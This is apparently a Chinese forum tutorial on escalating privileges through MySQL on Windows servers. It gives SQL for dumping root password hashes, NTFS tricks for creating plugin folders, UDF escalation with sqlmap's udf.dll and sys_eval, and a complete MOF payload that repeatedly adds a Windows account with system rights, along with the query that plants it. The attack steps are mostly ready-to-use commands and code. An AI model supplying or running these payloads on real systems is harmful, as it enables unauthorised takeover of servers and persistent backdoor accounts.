MySQL提权漏洞分析与利用

图片[1]-MySQL提权漏洞分析与利用-山海云端论坛

一、Mysql提权的必备条件

要进行Mysql提权,需要满足以下条件:

  • Mysql的服务没有降权,并且需要获取Mysql root账号密码。可使用net user命令查看系统当前账号,若出现Mysql这类用户,则系统可能进行了降权。

二、Mysql密码查询

  1. 查询root密码:
    • MySQL <= 5.6 版本:select user,password from mysql.user where user='root';
    • MySQL >= 5.7 版本:select host,user,authentication_string from mysql.user;
    • 将hash放入md5网站破解。

三、利用NTFS特性创建文件夹

  1. 创建lib文件夹:select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
  2. 创建plugin文件夹:select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'

四、常用的SQL基础查询命令

  • 查看数据库路径:select @@datadir;
  • 查看插件的路径:show variables like '%plugins%';
  • 查看Mysql的安装路径:select @@basedir;
  • 查看当前操作系统多少位:select @@version_compile_os;

UDF提权

一、原理

UDF(User Defined Function)是Mysql的一个拓展接口,通过自定义函数,可以实现Mysql中无法方便实现的功能。利用UDF可以将Mysql账号转换为system权限。

二、UDF动态链接库的位置

UDF动态链接库位于sqlmap根目录的/data/udf/mysql下。为防止误杀,sqlmap中自带的动态链接库经过编码处理,需使用cloak.py进行解码。

三、UDF提权的条件

  1. 若Mysql版本大于5.1,udf.dll放到Mysql安装目录的lib\plugin文件夹下。
  2. 若Mysql版本小于5.1,将udf.dll放入Windows系统下的相应目录。
  3. 具有Mysql的insert和delete权限,以创建和抛弃函数,一般以root账号为最佳。
  4. 拥有可以将udf.dll写入相应目录的权限。

四、UDF提权过程

  1. 将UDF动态链接库写入相应目录。
  2. 创建函数:CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
  3. 查看是否成功导入函数:select * from mysql.func;
  4. 执行提权操作:select sys_eval('whoami')

五、无法直接连接目标Mysql的处理方法

  1. 使用udf.php。
  2. 使用Navicat MySQL的隧道功能,传入ntunnel_mysql.php文件,然后使用工具连接。

MOF提权

一、原理

利用c:/windows/system32/wbem/mof/目录下的nullevt.mof文件,每分钟执行一次,以系统权限执行命令。

二、提权的条件

  1. Windows 03及以下版本。
  2. Mysql启动身份具有权限读写c:/windows/system32/wbem/mof/目录。
  3. secure-file-priv参数不为null。

三、nullevt.mof的利用代码

<code>#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };</code>

四、上传MOF

使用sql语句将文件导入到c:/windows/system32/wbem/mof/目录。

<code>select load_file("C:/phpStudy/WWW/222.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"</code>

五、关于MOF提权的弊端

成功提权后,即使被删除,nullevt.mof也会在五秒内重建原账号。为避免测试造成困扰,需谨慎使用。可通过以下命令删除入侵账号:

<code>net stop winmgmt del c:/windows/system32/wbem/repository net start winmgmt</code>

参考链接:

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

© 版权声明
THE END
喜欢就支持一下吧
点赞5 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容